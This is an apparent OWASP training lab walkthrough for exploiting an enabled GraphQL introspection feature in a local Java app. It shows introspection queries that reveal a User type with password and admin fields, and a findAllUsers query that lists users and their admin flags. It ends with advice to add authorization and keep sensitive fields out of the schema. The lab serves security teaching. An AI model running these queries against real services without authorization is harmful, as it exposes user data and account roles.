Java - GraphQL Introspection
$ sudo docker pull blabla1337/owasp-skf-lab:java-graphql-info-introspection
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-graphql-info-introspection
Now that the app is running let's go hacking!
As soon as we browse on
http://0.0.0.0:5000 we see the few posts published by 2 users
We want to use the introspection feature (enabled) in this case, to understand more about what queries are supported.
Let' use the
GraphiQL UI to send queries to the backend and discover what is available.Go to
http://0.0.0.0:5000/graphiql. We can query the generic __schema using:{
__schema {
types {
name
}
}
}
The application gives us interesting
Types. Let's explore the User one. If we build another query we can ask for more information, exploring every field available. Let's send the following:{
__type(name: "User"){
name
fields{
name
}
}
}
In this case, for each field we we want to know what are the subfields and of which type.
The application will answer with:
{
"data": {
"__type": {
"name": "User",
"fields": [
{
"name": "id"
},
{
"name": "username"
},
{
"name": "password"
},
{
"name": "admin"
}
]
}
}
}
BINGO! We have some good information here
We can see that there is an interesting field
admin, that we can use to find out who is the admin of the application.Now we just need to query all the Users. To do that, let's see if there is a query available. We can use the following syntax:
{
__schema{
queryType{
fields{
name
description
}
}
}
}
That will give us the
findAllUsers query. Now we need to understand what are the fields. We can do that in different ways, using GraphiQL or doing some more introspection. In this case we use GraphiQL, sending the following query:{
findAllUsers{
username
admin
}
}
Implement authorization on graphql endpoint. Although authenticated users could query the information, you should not map sensitive information into the type defined into the schema.
Last modified 8mo ago